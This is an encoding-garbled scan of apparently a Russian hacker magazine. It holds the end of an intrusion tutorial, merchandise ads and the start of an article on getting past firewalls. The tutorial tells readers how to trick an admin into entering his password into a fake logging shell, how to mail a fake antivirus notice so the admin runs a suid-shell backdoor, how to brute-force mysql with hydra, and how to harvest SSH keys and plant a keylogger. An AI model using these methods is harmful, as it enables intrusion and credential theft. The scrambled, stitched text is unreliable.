óïðîùåíèÿ çàäà÷è ïðåäïîëîæèì, ÷òî ëîãèí òåáå èçâåñòåí. Ìîæíî
ïîñòó÷àòüñÿ ê àäìèíó â àñþ è èíòåëëèãåíòíî ïîïðîñèòü ïàðîëü :).
Ïðàâäà, ñêîðåå âñåãî, òåáÿ ïîøëþò êóäà ïîäàëüøå. À âîò åñëè òû
íà÷íåøü èçäàëåêà, ïîäðóæèøüñÿ ñ íèì è ïîïðîñèøü ïîìî÷ü ñ
íàñòðîéêîé êàêîãî-íèáóäü êîíôèãà, òî ýòî äðóãîå äåëî. Ñêàæè, ÷òî
äàåøü åìó øåëë íà ñâîþ òà÷êó, çàòåì ïðîïèñûâàé åìó
/usr/bin/xpasswd â êà÷åñòâå èíòåðïðåòàòîðà è óñòàíàâëèâàé ïóñ-
òîé ïàðîëü. Òåïåðü ïðîñè åãî çàëîãèíèòüñÿ. Åñòåñòâåííî, ÷òî àäìèí
ïîïðîñèò òåáå ïîñòàâèòü íîðìàëüíûé øåëë, íî òû ñêàæåøü, ÷òîáû
îí óñòàíîâèë ñåáå ïàðîëü ñàìîñòîÿòåëüíî. Ñ áîëüøîé âåðîÿò-
íîñòüþ ñèñàäì óñòàíîâèò ñâîé ðîäíîé ïàðîëü, íè÷åãî íå çàïîäîç-
ðèâ (âåäü ïàðîëè-òî êðèïòóþòñÿ!). Äóìàþ, íå ñòîèò ãîâîðèòü, ÷òî
xpasswd � ýòî ðàíåå íàïèñàííûé òîáîé ñêðèïò, ñîäåðæàùèé â ñåáå
ëîãèðîâàíèå ïàðîëÿ, à çàòåì åãî óñòàíîâêó â êà÷åñòâå ñèñòåìíîãî. 

Åñëè ãîâîðèòü î ïðèìåíåíèè ÍËÏ ê ëîêàëüíîìó âçëîìó, òî íà óì
ïðèõîäèò îäíà èíòåðåñíàÿ èäåÿ. Ïðîâåðü, åñòü ëè íà ñåðâåðå àíòè-
âèðóñ. Åñëè åñòü, ïîñìîòðè åãî íàçâàíèå è âåðñèþ. Òåïåðü ïèøè àä-
ìèíó ïèñüìî, ìîë, íàéäåí ôåíîìåíàëüíûé âèðóñ, è åãî î÷åíü ðåêî-
ìåíäóåòñÿ îòïðàâèòü íà ýêñïåðòèçó. ×òîáû ïîäòâåðäèòü îòïðàâêó,
çàïóñòèòå ôàéëèê /tmp/antivirus-accept è ïðèìèòå âñå ñîãëàøåíèÿ.
Ïîäïèøè ïèñüìî àíòèâèðóñîì, ÷òîáû àäìèí íàâåðíÿêà ïîâåðèë â
âàæíîñòü ýòîãî ìûëà. Ñàì ôàéë â /tmp áóäåò ïðåäñòàâëÿòü ñîáîé
ñêîìïèëèðîâàííûé áýêäîð, ñîçäàþùèé ñóèäíûé bash. Âîò è âñå.
Åñëè òû íå êîììóíèêàáåëüíûé ÷åëîâåê, ëó÷øå òåáå íå ëåçòü â ñî-
öèàëüíóþ èíæåíåðèþ, à îãðàíè÷èòüñÿ äðóãèìè ìåòîäàìè âçëîìà.

ÑÈËÀ ÍËÏ



øèíó hydra è ïðîãíàòü âîðäëèñò äëÿ ñåðâèñà mysql. Âåäü,
êàê èçâåñòíî, íàäåæäà óìèðàåò ïîñëåäíåé :).

ÏÎØÏÈÎÍÈÌ?
Èòàê, íàñòàë òîò çàâåòíûé ìîìåíò, êîãäà ïîëó÷åíû àá-

ñîëþòíûå ïðèâèëåãèè. Íî íà ýòîì ïðèêëþ÷åíèÿ íå çàêîí-
÷åíû. Îáû÷íî ïîñëå âçëîìà õàêåð îïðåäåëÿåòñÿ ñ äàëü-
íåéøåé òàêòèêîé: ëèáî îí òðîÿíèò ìàøèíó è «ëîæèòñÿ íà
äíî», ëèáî àòàêóåò äàëüøå â íàäåæäå çàïîëó÷èòü áîëåå
âêóñíûé êóñîê, ÷åì ïðàâà ðóòà. ß ãîâîðþ î âçëîìå ëîêàëü-
íîé ñåòè, êîòîðîé âëàäåòü êóäà èíòåðåñíåå, ÷åì îáèòàòü íà
ìàðøðóòèçàòîðå. Íî äëÿ òîãî ÷òîáû ïðîäâèíóòüñÿ âïåðåä,
âçëîìùèêó íåîáõîäèìî óçíàòü ïàðîëè íà äðóãèõ ñåðâåðàõ.
Ýòî ïðîùå âñåãî ñäåëàòü äâóìÿ ñïîñîáàìè:
1. Íàéòè èíôîðìàöèþ îá SSH-ñîåäèíåíèÿõ. Ýòè äàííûå

íàõîäÿòñÿ â ôàéëå ~user/.ssh/.known_hosts. Ïðîïàðñèâ
ýòîò êîíôèã, ìîæíî ïðèêîííåêòèòüñÿ íà ëþáîé õîñò èç
ñïèñêà. Ïàðîëü íà ñîåäèíåíèå ñ áîëüøîé âåðîÿòíîñòüþ
ñîâïàäåò ñ ñèñòåìíûì, êîòîðûé ìîæíî áåç ïðîáëåì ðàñ-
øèôðîâàòü. À åñëè ó þçåðà èìåþòñÿ SSH-êëþ÷èêè, òî ñ ïî-
ìîùüþ ïðîñòîãî ñóèäà âçëîìùèê ñïîñîáåí ñîåäèíèòüñÿ ñ
óçëîì áåç äîïîëíèòåëüíîé àâòîðèçàöèè. Ïðàâäà, ñëåäóåò
ïîìíèòü, ÷òî â ñëó÷àå çàùèòû êëþ÷à ñåêðåòíîé ôðàçîé, åå
ìîæíî ëåãêî ðàñøèôðîâàòü ïóòåì áðóòôîðñà ïî ñëîâàð-
íîìó ëèñòó. Â ýòîì çëîóìûøëåííèêó ïîìîæåò óòèëèòà SSH
Crack (www.thc.org/root/tools/thc_ssh_crack.c).
2. Óñòàíîâèòü íà ñåðâåð ñíèôåð èëè êëàâèàòóðíûé øïè-

îí. Ñ ïîìîùüþ ñíèôèíãàà ìîæíî ëåãêî îòëîâèòü ïàðîëü
íà FTP- èëè POP3-ñåðâèñ, à çàòåì ïîïðîáîâàòü àêêàóíò â
êà÷åñòâå ñèñòåìíîãî. 

Ñ ïîìîùüþ ñïåöèàëüíîãî ìîäóëÿ ìîæíî ïåðåõâàòèòü âñå
êîíñîëüíûå êîìàíäû, âêëþ÷àÿ ïàðîëè íà SSH. Ñàìûé ëó÷-
øèé êëàâèàòóðíûé ëîããåð � vlogger îò THC (www.thc.org/down-
load.php?t=r&f=vlogger-2.1.1.tar.gz). Ïîñëå çàãðóçêè ìîäóëü ñòèðàåò
ñåáÿ èç ñïèñêà ïðîöåññîâ, à çàòåì ðàáîòàåò â îäíîì èç
äâóõ ðåæèìîâ: ëîãèðîâàíèå âñåãî ââîäà èëè çàïèñü ïàðî-
ëåé (smart mode). Â ëþáîì ñëó÷àå âçëîìùèêó óäàñòñÿ íà-
ðûòü äîñòàòî÷íî èíôîðìàöèè, êîòîðîé õâàòèò äëÿ âçëîìà
âñåõ ñòàíöèé ëîêàëüíîé ñåòè!

ÂÛÂÎÄÛ
Âîò, ñîáñòâåííî, è âñå îñíîâíûå óäàëåííûå è ëî-

êàëüíûå àòàêè. Îáû÷íî èìåííî ýòè ìåòîäû è ïðèíîñÿò
âçëîìùèêó óñïåõ. Âåäü îí òî÷íî çíàåò, ÷òî áðóòôîðñ
íàìíîãî îïàñíåå, ÷åì ñêàíèðîâàíèå ïîðòîâ, íî êîãäà íè-
÷åãî íå îñòàåòñÿ äåëàòü, ïðèõîäèòñÿ äîâîëüñòâîâàòüñÿ
ñàìûìè íåáëàãîäàðíûìè ñïîñîáàìè âçëîìà. Ìàòåðûé
âçëîìùèê ñ ïîìîùüþ ïàðû êîìàíä îïðåäåëèò, ÷òî ñèñ-
òåìà íå èìååò òðèâèàëüíûõ óÿçâèìîñòåé è ïîëó÷èòü ðó-
òà â íåé áóäåò î÷åíü íåïðîñòûì äåëîì. Íî ïîñëå äâóõ-
÷àñîâîãî ïîèñêà çëîóìûøëåííèê áûñòðî íàéäåò ïàðîëü
ñóïåðïîëüçîâàòåëÿ, çàïèñàííûé â plain-òåêñòå. Åñëè òû
äóìàåøü, ÷òî ó êðóòîãî õàêåðà äàð îïðåäåëÿòü ìåòîäû
âçëîìà, òî îøèáàåøüñÿ. Â ñâîå âðåìÿ îí áûë ñêðèïòêè-
äè, è ëèøü ÷åðåç íåñêîëüêî ëåò, íàáðàâøèñü îïûòà,
ïîñòèã èñêóññòâî âçëîìà. E

Îòëè÷íàÿ ðàáîòà ìîäóëÿ

Ïèâíàÿ êðóæêà 
ñî øêàëîé ñ ëîãîòèïîì 
''Õàêåð'' 

ÅÑËÈ ÒÛ ÌÎËÎÄ, 

ÝÍÅÐÃÈ×ÅÍ È ÏÎÇÈÒÈÂÅÍ,

ÒÎ ÒÎÂÀÐÛ Â ÑÒÈËÅ «Õ» � 

ÝÒÎ ÒÎÂÀÐÛ Â ÒÂÎÅÌ ÑÒÈËÅ!

ÍÎÑÈ ÍÅ

ÑÍÈÌÀß!

15,99  óó.å.

Ôóòáîëêà ''Crack me'' ñ ëîãîòèïîì
''Õàêåð'' òåìíî-ñèíÿÿ, ñåðàÿ

4411,9999  óó..åå..

Êóðòêà - âåòðîâêà ''FBI'' ñ ëîãîòèïîì
''Õàêåð'' ÷åðíàÿ, òåìíî-ñèíÿÿ

Ôóòáîëêà ''Kill Bill Gates'' 
ñ ëîãîòèïîì ''Õàêåð'' æåëòàÿ, ÷åðíàÿ 

1111,9999  óó..åå..

1133,9999  óó..åå..

Çàæèì äëÿ äåíåã 
''Õàêåð - äåíüãè'' 

Ôóòáîëêà ''Hack OFF'' 
ñ ëîãîòèïîì ''Õàêåð'' ÷åðíàÿ 

1111,9999  óó..åå..

Êðóæêà ''Matrix'' ñ ëîãîòèïîì ''Õàêåð''
÷åðíàÿ 

Çàæèãàëêà ìåòàëëè÷åñêàÿ ñ
ãðàâèðîâêîé ñ ëîãîòèïîì æóðíàëà

''Õàêåð'' 

7,9999  óó..åå..

Êîâðèê äëÿ ìûøè ''Îïàñíî äëÿ æèçíè''
ñ ëîãîòèïîì æóðíàëà ''Õàêåð''

(÷åðíûé)

1155,9999  óó..åå..

1100,9999  óó..åå..

1111,9999  óó..åå..

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
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www.e-shop.ru   www.xakep.ru   www.gamepost.ru

* � ó.å. = óáèòûå åíîòû

(095) 928-6089  (095) 928-0360  (095) 928-3574

ÇÀÊÀÇÛ ÏÎ ÈÍÒÅÐÍÅÒÓ � ÊÐÓÃËÎÑÓÒÎ×ÍÎ!
ÇÀÊÀÇÛ ÏÎ ÒÅËÅÔÎÍÀÌ:



Êðèñ Êàñïåðñêè aka ìûùúõ

Á îëüøèíñòâî êîðïîðàòèâíûõ ñåòåé îãðàæäåíî ïî ïåðèìåòðó íåäåìîêðàòè÷íî íàñòðîåííûìè áðàíäìàóýðàìè,
çàùèùàþùèìè âíóòðåííèõ ïîëüçîâàòåëåé îò ñàìèõ ñåáÿ è îòïóãèâàþùèìè íà÷èíàþùèõ õàêåðîâ. Ìåæäó òåì, äëÿ

îïûòíîãî âçëîìùèêà äàæå êà÷åñòâåííûé è ãðàìîòíî íàñòðîåííûé áðàíäìàóýð � íå ïðåãðàäà.

ÑÒÅÍÊÀ 
ÂÑÌßÒÊÓ
ÎÁÕÎÄ ÁÐÀÍÄÌÀÓÝÐÎÂ ÑÍÀÐÓÆÈ È ÈÇÍÓÒÐÈ

ÂÂÅÄÅÍÈÅ
Áðàíäìàóýð (îí æå

ôàåðâîë) â îáùåì ñëó-
÷àå ïðåäñòàâëÿåò ñî-
áîé ñîâîêóïíîñòü ñèñ-

òåì, îáåñïå÷èâàþùèõ íàäëåæàùèé
óðîâåíü ðàçãðàíè÷åíèÿ äîñòóïà, äîñ-
òèãàåìûé ïóòåì óïðàâëåíèÿ ïðîõîäÿ-
ùèì òðàôèêîì ïî áîëåå èëè ìåíåå
ãèáêîìó íàáîðó êðèòåðèåâ (ïðàâèë
ïîâåäåíèÿ). Êîðî÷å ãîâîðÿ, áðàíäìàó-
ýð ïðîïóñêàåò òîëüêî òó ÷àñòü òðàôè-
êà, êîòîðàÿ ÿâíî ðàçðåøåíà àäìèíè-
ñòðàòîðîì è áëîêèðóåò âñå îñòàëüíîå.

Íà ðûíêå äîìèíèðóþò äâà òèïà
áðàíäìàóýðîâ � ïàêåòíûå ôèëüòðû,
òàêæå íàçûâàåìûå øëþçàìè ôèëüò-
ðàöèè ïàêåòîâ (packet filter gateway),
è ïðîãðàììíûå ïðîêñè (application
proxy). Ïðèìåðîì ïåðâîãî òèïà ÿâëÿ-
åòñÿ Firewall îò êîìïàíèè Check Point,
à âòîðîãî � Microsoft Proxy Server.

Ïàêåòíûå ôèëüòðû ïîëíîñòüþ ïðîç-
ðà÷íû äëÿ ïîëüçîâàòåëåé è âåñüìà
ïðîèçâîäèòåëüíû, îäíàêî íåäîñòàòî÷-
íî íàäåæíû. Ôàêòè÷åñêè îíè ïðåäñ-
òàâëÿþò ñîáîé ðàçíîâèäíîñòü ìàðø-
ðóòèçàòîðîâ, ïðèíèìàþùèõ ïàêåòû
êàê èçâíå, òàê è èçíóòðè ñåòè, è ðåøà-
þùèõ, êàê ñ íèìè ïîñòóïèòü � ïðîïóñ-
òèòü äàëüøå èëè óíè÷òîæèòü, ïðè íå-
îáõîäèìîñòè óâåäîìèâ îòïðàâèòåëÿ,
÷òî åãî ïàêåò ñäîõ. Áîëüøèíñòâî
áðàíäìàóýðîâ ýòîãî òèïà ðàáîòàåò íà
IP-óðîâíå, ïðè÷åì ïîëíîòà ïîääåðæêè
IP-ïðîòîêîëà è êà÷åñòâî ôèëüòðàöèè
îñòàâëÿþò æåëàòü ëó÷øåãî, ïîýòîìó
àòàêóþùèé ìîæåò ëåãêî èõ îáìàíóòü.
Íà äîìàøíèõ êîìïüþòåðàõ òàêèå
áðàíäìàóýðû åùå èìåþò ñìûñë, íî
ïðè íàëè÷èè äàæå ïëîõåíüêîãî ìàðø-
ðóòèçàòîðà îíè ëèøü óäîðîæàþò ñèñ-
òåìó, íè÷åãî íå äàâàÿ âçàìåí, òàê êàê
òå æå ñàìûå ïðàâèëà ôèëüòðàöèè ïà-
êåòîâ ìîæíî çàäàòü è íà ìàðøðóòèçà-
òîðå!

Ïðîãðàììíûå ïðîêñè ïðåäñòàâëÿþò
ñîáîé îáû÷íûå ïðîêñè-ñåðâåðà, ïðîñ-
ëóøèâàþùèå çàäàííûå ïîðòû (íàïðè-
ìåð, 25, 110, 80) è ïîääåðæèâàþùèå
âçàèìîäåéñòâèå ñ çàðàíåå îãîâîðåí-
íûì ïåðå÷íåì ñåòåâûõ ñåðâèñîâ. Â îò-
ëè÷èå îò ôèëüòðîâ, ïåðåäàþùèõ IP-
ïàêåòû "êàê åñòü", ïðîêñè ñàìîñòîÿ-

òåëüíî ñîáèðàþò TCP-ïàêåòû, âûêóñû-
âàþò èç íèõ ïîëüçîâàòåëüñêèå äàí-
íûå, íàêëåèâàþò íà íèõ íîâûé çàãî-
ëîâîê è âíîâü ðàçáèðàþò ïîëó÷åííûé
ïàêåò íà IP, ïðè íåîáõîäèìîñòè îñó-
ùåñòâëÿÿ òðàíñëÿöèþ àäðåñîâ. Åñëè
áðàíäìàóýð íå ñîäåðæèò îøèáîê, îá-
ìàíóòü åãî íà ñåòåâîì óðîâíå óæå íå
óäàñòñÿ; ê òîìó æå, îí ñêðûâàåò îò
àòàêóþùåãî ñòðóêòóðó âíóòðåííåé ñå-
òè � ñíàðóæè îñòàåòñÿ ëèøü áðàíäìà-
óýð. À äëÿ äîñòèæåíèÿ íàèâûñøåé çà-
ùèùåííîñòè àäìèíèñòðàòîð ìîæåò
îðãàíèçîâàòü íà áðàíäìàóýðå äîïîë-
íèòåëüíûå ïðîöåäóðû àâòîðèçàöèè è
àóòåíòèôèêàöèè, «íàáðàñûâàþùèå-
ñÿ» íà ïðîòèâíèêà åùå íà äàëüíèõ ðó-
áåæàõ îáîðîíû. Ýòî áûëè äîñòîèí-
ñòâà. ×òî æå êàñàåòñÿ íåäîñòàòêîâ, òî
ïðîãðàììíûå ïðîêñè îãðàíè÷èâàþò
ïîëüçîâàòåëåé â âûáîðå ïðèëîæåíèé.
Îíè ðàáîòàþò íàìíîãî ìåäëåííåå ïà-
êåòíûõ ôèëüòðîâ è çäîðîâî ñíèæàþò
ïðîèçâîäèòåëüíîñòü (îñîáåííî íà
áûñòðûõ êàíàëàõ). 

Áðàíäìàóýðû îáîèõ òèïîâ îáû÷íî
âêëþ÷àþò â ñåáÿ áîëåå èëè ìåíåå
óðåçàííóþ âåðñèþ ñèñòåìû îïðåäåëå-
íèÿ âòîðæåíèé (Intruder Detection
System, IDS), àíàëèçèðóþùóþ õàðàê-
òåð ñåòåâûõ çàïðîñîâ è âûÿâëÿþùóþ
ïîòåíöèàëüíî îïàñíûå äåéñòâèÿ - îá-
ðàùåíèå ê íåñóùåñòâóþùèì ïîðòàì
(õàðàêòåðíî äëÿ ñêàíèðîâàíèÿ), ïàêå-
òû ñ TTL, ðàâíûì åäèíèöå, (õàðàêòåð-
íî äëÿ òðàññèðîâêè) è ò.ä. Âñå ýòî ñó-
ùåñòâåííî çàòðóäíÿåò àòàêó, è õàêåðó
ïðèõîäèòñÿ äåéñòâîâàòü î÷åíü îñòî-
ðîæíî, ïîñêîëüêó ëþáîé íåâåðíûé
øàã òóò æå âûäàñò åãî ñ ïîòîðîõàìè.
Îäíàêî èíòåëëåêòóàëüíîñòü èíòåãðè-
ðîâàííûõ ñèñòåì ðàñïîçíàâàíèÿ äîñ-
òàòî÷íà íåâåëèêà, è áîëüøèíñòâî
óâàæàþùèõ ñåáÿ àäìèíèñòðàòîðîâ
ïåðåêëàäûâàåò ýòó çàäà÷ó íà ïëå÷è

ñïåöèàëèçèðîâàííûõ ïàêåòîâ, òàêèõ,
êàê Real Secure îò Internet Security
System.

Â çàâèñèìîñòè îò êîíôèãóðàöèè ñå-
òè áðàíäìàóýð ìîæåò áûòü óñòàíîâ-
ëåí íà âûäåëåííûé êîìïüþòåð èëè
ìîæåò äåëèòü ñèñòåìíûå ðåñóðñû ñ
êåì-íèáóäü åùå. Ïåðñîíàëüíûå
áðàíäìàóýðû, øèðîêî ðàñïðîñòðàíåí-
íûå â ìèðå Windows, â ïîäàâëÿþùåì
áîëüøèíñòâå ñëó÷àåâ óñòàíàâëèâàþò-
ñÿ íåïîñðåäñòâåííî íà ñàì çàùèùàå-
ìûé êîìïüþòåð. Åñëè ýòîò ïàêåòíûé
ôèëüòð ðåàëèçîâàí áåç îøèáîê, òî
çàùèùåííîñòü ñèñòåìû íè÷óòü íå
ñòðàäàåò è àòàêîâàòü åå òàê æå ñëîæ-
íî, êàê è íà âûäåëåííîì áðàíäìàóýðå.
Ëîêàëüíûå ïðîãðàììíûå ïðîêñè çà-
ùèùàþò êîìïüþòåð ëèøü îò íåêîòî-
ðûõ òèïîâ àòàê (íàïðèìåð, áëîêèðóþò
çàñûëêó òðîÿíîâ ÷åðåç IE), îñòàâëÿÿ
ñèñòåìó ïîëíîñòüþ îòêðûòîé. Â UNIX-
like-ñèñòåìàõ ïàêåòíûé ôèëüòð ïðèñó-
òñòâóåò èçíà÷àëüíî, à â øòàòíûé
êîìïëåêò ïîñòàâêè âõîäèò áîëüøîå
êîëè÷åñòâî ðàçíîîáðàçíûõ ïðîêñè-
ñåðâåðîâ, ïîýòîìó ïðèîáðåòàòü äî-
ïîëíèòåëüíîå ïðîãðàììíîå îáåñïå÷å-
íèå íå íóæíî.

ÎÒ ×ÅÃÎ ÇÀÙÈÙÀÅÒ 
È ÎÒ ×ÅÃÎ ÍÅ ÇÀÙÈÙÀÅÒ
ÁÐÀÍÄÌÀÓÝÐ

Ïàêåòíûå ôèëüòðû â îáùåì ñëó-
÷àå ïîçâîëÿþò çàêðûâàòü âñå âõîäÿ-
ùèå/èñõîäÿùèå TCP-ïîðòû, ïîë-
íîñòüþ èëè ÷àñòè÷íî áëîêèðîâàòü íå-
êîòîðûå ïðîòîêîëû (íàïðèìåð, ICMP),
ïðåïÿòñòâîâàòü óñòàíîâêå ñîåäèíå-
íèé ñ äàííûìè IP-àäðåñàìè è ò.ä. Ïðà-
âèëüíî ñêîíôèãóðèðîâàííàÿ ñåòü
äîëæíà ñîñòîÿòü, ïî ìåíüøåé ìåðå,
èç äâóõ çîí: âíóòðåííåé êîðïîðàòèâ-
íîé ñåòè (corporative network), îãðàæ-
äåííîé áðàíäìàóýðîì è íàñåëåííîé
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Áðàíäìàóýð �
ýòî ìàðø-
ðóòèçàòîð,
ïðîêñè-ñåð-
âåð è ñèñòå-
ìà îáíàðó-
æåíèÿ âòîð-
æåíèé â îä-
íîì ôëàêî-
íå.

Áðàíäìàóý-
ðû ïîäâåð-
æåíû áîëü-
øîìó êîëè-
÷åñòâó DoS-
àòàê, òàêèõ,
êàê ýõî-
øòîðì èëè
SYN-flood,
êîòîðûì
îíè â ïðèí-
öèïå íåñïî-
ñîáíû ïðî-
òèâîñòîÿòü.

Óçåë, çàùèùåííûé áðàíäìàóýðîì, ÷óâñòâóåò ñåáÿ ñëîâíî çà êèðïè÷íîé ñòåíîé
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Áðàíäìàóýð
ìîæíî àòà-
êîâàòü íå
òîëüêî èçâ-
íå, íî è èç-
íóòðè êîð-
ïîðàòèâíîé
ñåòè.

ðàáî÷èìè ñòàíöèÿìè, ñåòåâûìè ïðèí-
òåðàìè, intranet-ñåðâåðàìè, ñåðâåðàìè
áàç äàííûõ è ïðî÷èìè ðåñóðñàìè ïî-
äîáíîãî òèïà; à òàêæå äåìèëèòàðèçî-
âàííîé çîíû (demilitarized zone, èëè,
ñîêðàùåííî, DMZ), â êîòîðîé ðàñïî-
ëîæåíû ïóáëè÷íûå ñåðâåðà, äîñòóï-
íûå èç èíòåðíåòà. Áðàíäìàóýð, íàñò-
ðîåííûé íà íàèáîëåå äðàêîíè÷åñêèé
óðîâåíü çàùèùåííîñòè, äîëæåí:

- çàêðûâàòü âñå ïîðòû, êðîìå òåõ,
÷òî ïðèíàäëåæàò ïóáëè÷íûì ñåòåâûì
ñëóæáàì (HTTP, FTP, SMTP è ò.ä.);

- ïàêåòû, ïðèõîäÿùèå íà çàäàí-
íûé ïîðò, îòïðàâëÿòü òåì è òîëüêî
òåì óçëàì, íà êîòîðûõ óñòàíîâëåíû
ñîîòâåòñòâóþùèå ñëóæáû (íàïðè-
ìåð, åñëè WWW-ñåðâåð ðàñïîëîæåí
íà óçëå À, à FTP-ñåðâåð íà óçëå B,
òî ïàêåò, íàïðàâëåííûé íà 80 ïîðò
óçëà B, äîëæåí áëîêèðîâàòüñÿ
áðàíäìàóýðîì);

- áëîêèðîâàòü âõîäÿùèå ñîåäèíåíèÿ
èç âíåøíåé ñåòè, íàïðàâëåííûå â
êîðïîðàòèâíóþ ñåòü (ïðàâäà, â ýòîì
ñëó÷àå ïîëüçîâàòåëè ñåòè íå ñìîãóò
ðàáîòàòü ñ âíåøíèìè FTP-ñåðâåðàìè
â àêòèâíîì ðåæèìå);

- áëîêèðîâàòü èñõîäÿùèå ñîåäèíå-
íèÿ èç DMZ-çîíû, íàïðàâëåííûå âî
âíóòðåííþþ ñåòü (èñêëþ÷àÿ FTP- è
DNS-ñåðâåðà, êîòîðûì èñõîäÿùèå ñî-
åäèíåíèÿ íåîáõîäèìû);

- áëîêèðîâàòü âõîäÿùèå ñîåäèíåíèÿ
èç DMZ-çîíû, íàïðàâëåííûå âî âíóò-
ðåííþþ ñåòü (åñëè ýòîãî íå ñäåëàòü,
òî àòàêóþùèé, çàõâàòèâøèé óïðàâëå-
íèå îäíèì èç ïóáëè÷íûõ ñåðâåðîâ,
áåñïðåïÿòñòâåííî ïðîíèêíåò è â êîð-
ïîðàòèâíóþ ñåòü).

- áëîêèðîâàòü âõîäÿùèå ñîåäèíåíèÿ
â DMZ-çîíó èç âíåøíåé ñåòè ïî ñëó-
æåáíûì ïðîòîêîëàì, ÷àñòî èñïîëüçó-
þùèìñÿ äëÿ àòàêè (íàïðèìåð, ICMP;

ïðàâäà, ïîëíîå áëîêèðîâàíèå ICMP
ñîçäàåò áîëüøèå ïðîáëåìû, â ÷àñò-
íîñòè, ïåðåñòàåò ðàáîòàòü ping è ñòà-
íîâèòñÿ íåâîçìîæíûì àâòîìàòè÷åñ-
êîå îïðåäåëåíèå íàèáîëåå ïðåäïî÷-
òèòåëüíîãî MTU);

- áëîêèðîâàòü âõîäÿùèå/èñõîäÿùèå
ñîåäèíåíèÿ ñ ïîðòàìè è/èëè IP-àäðå-
ñàìè âíåøíåé ñåòè, çàäàííûìè àäìè-
íèñòðàòîðîì.

Ôàêòè÷åñêè ðîëü áðàíäìàóýðà ñâî-
äèòñÿ ê îãðàæäåíèþ êîðïîðàòèâíîé
ñåòè îò âñÿêèõ ëþáîïûòñòâóþùèõ,
áëóæäàþùèõ ïî ïðîñòîðàì èíåòà. Òåì
íå ìåíåå, ïðî÷íîñòü ýòîãî îãðàæäå-
íèÿ òîëüêî êàæóùàÿñÿ. Åñëè êëèåíò
êîðïîðàòèâíîé ñåòè èñïîëüçóåò óÿç-
âèìóþ âåðñèþ áðàóçåðà èëè êëèåíòà
ýëåêòðîííîé ïî÷òû (à áîëüøàÿ ÷àñòü
ïðîãðàììíîãî îáåñïå÷åíèÿ óÿçâèìà!),
àòàêóþùåìó äîñòàòî÷íî çàìàíèòü åãî
íà òðîÿíèçèðîâàííóþ WEB-ñòðàíè÷êó
èëè ïîñëàòü åìó ïèñüìî ñ âèðóñîì
âíóòðè, è ÷åðåç êîðîòêîå âðåìÿ ëî-
êàëüíàÿ ñåòü îêàæåòñÿ ïîðàæåíà. Äà-
æå åñëè èñõîäÿùèå ñîåäèíåíèÿ èç
êîðïîðàòèâíîé ñåòè çàïðåùåíû, shell-
êîä ñìîæåò âîñïîëüçîâàòüñÿ óæå óñ-
òàíîâëåííûì TCP-ñîåäèíåíèåì, ÷åðåç
êîòîðîå îí áûë çàáðîøåí íà àòàêî-
âàííûé óçåë, ïåðåäàâàÿ õàêåðó óï-
ðàâëåíèå óäàëåííîé ñèñòåìîé.

Áðàíäìàóýð ìîæåò è ñàì ÿâëÿòüñÿ
îáúåêòîì àòàêè, âåäü îí, êàê è âñÿêàÿ
ñëîæíàÿ ïðîãðàììà, íå îáõîäèòñÿ áåç
äûð è óÿçâèìîñòåé. Äûðû â áðàíäìàó-
ýðàõ îáíàðóæèâàþòñÿ ïðàêòè÷åñêè
êàæäûé ãîä è äàëåêî íå ñðàçó çàòûêà-
þòñÿ (îñîáåííî åñëè áðàíäìàóýð ðåà-
ëèçîâàí íà "æåëåçíîì" óðîâíå). Çà-
áàâíî, íî ïëîõîé áðàíäìàóýð íå òîëü-
êî íå óâåëè÷èâàåò, íî äàæå óõóäøàåò
çàùèùåííîñòü ñèñòåìû (â ïåðâóþ
î÷åðåäü ýòî îòíîñèòñÿ ê ïåðñîíàëü-
íûì áðàíäìàóýðàì, ïîïóëÿðíîñòü êî-
òîðûõ â ïîñëåäíåå âðåìÿ íåîáû÷àéíî
âûñîêà).

ÎÁÍÀÐÓÆÅÍÈÅ 
È ÈÄÅÍÒÈÔÈÊÀÖÈß
ÁÐÀÍÄÌÀÓÝÐÀ

Çàëîãîì óñïåøíîé àòàêè ÿâëÿåò-
ñÿ ñâîåâðåìåííîå îáíàðóæåíèå è
èäåíòèôèêàöèÿ áðàíäìàóýðà (èëè, â
îáùåì ñëó÷àå, IDS, íî â êîíòåêñòå
íàñòîÿùåé ñòàòüè ìû áóäåì èñõîäèòü
èç òîãî, ÷òî îíà ñîâìåùåíà ñ áðàíä-
ìàóýðîì).

Áîëüøèíñòâî áðàíäìàóýðîâ îòáðà-
ñûâàþò ïàêåòû ñ èñòå÷åíèåì TTL
(Time To Live � âðåìÿ æèçíè), áëîêè-
ðóÿ òåì ñàìûì òðàññèðîâêó ìàðøðóòà,
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Â áîëüøèí-
ñòâå ñëó÷à-
åâ ñêâîçü
êèðïè÷íóþ
ñòåíó
áðàíäìàóý-
ðà ìîæíî
ïðîáèòü
ICMP-òîí-
íåëü, îáåð-
íóâ ïåðåäà-
âàåìûå äàí-
íûå ICMP-
çàãîëîâêîì.

Áðàíäìàóý-
ðû íå çà-
ùèùàþò îò
àòàê, à
ëèøü îã-
ðàæäàþò
ëîêàëüíóþ
ñåòü êèð-
ïè÷íûì çà-
áîðîì, ÷å-
ðåç êîòîðûé
ëåãêî ïåðå-
ëåçòü.

Òèïè÷íàÿ ñòðóêòóðà ëîêàëüíîé ñåòè

Nmap
Ïîïóëÿðíûé ñêàíåð ïîðòîâ, ïîçâîëÿþùèé îáíàðóæèâàòü íåêîòî-
ðûå òèïû áðàíäìàóýðîâ. Áåñïëàòåí. Èñõîäíûå òåêñòû äîñòóïíû. Íà
ñàéòå http://www.insecure.org/nmap ìîðå òåõíè÷åñêîé èíôîðìàöèè
ïî ïðîáëåìå.

FireWalk
Óòèëèòà äëÿ òðàññèðîâêè ñåòè ÷åðåç áðàíäìàóýð, ðàáîòàþùàÿ íà
TCP/UDP-ïðîòîêîëàõ è îñíîâàííàÿ íà TTL. Áåñïëàòíà.
http://www.packetfactory.net/firewalk. Ïåðåä èñïîëüçîâàíèåì ðå-
êîìåíäóåòñÿ îçíàêîìèòüñÿ ñ äîêóìåíòàöèåé http://www.packetfac-
tory.net/firewalk/firewalk-ffinal.pdf.

HPING
Óòèëèòà, ðåàëèçóþùàÿ ñêàíèðîâàíèå ÷åðåç íåìîé õîñò. Ìîùíîå
îðóæèå äëÿ èññëåäîâàíèÿ âíóòðåííåé ñåòè çà áðàíäìàóýðîì. Áåñï-
ëàòíà è õîðîøî äîêóìåíòèðîâàíà. http://www.hping.org/
papers.html.

SSH-êêëèåíò
Secure Shell êëèåíò, èñïîëüçóåìûé ïîëüçîâàòåëÿìè âíóòðåííåé ñå-
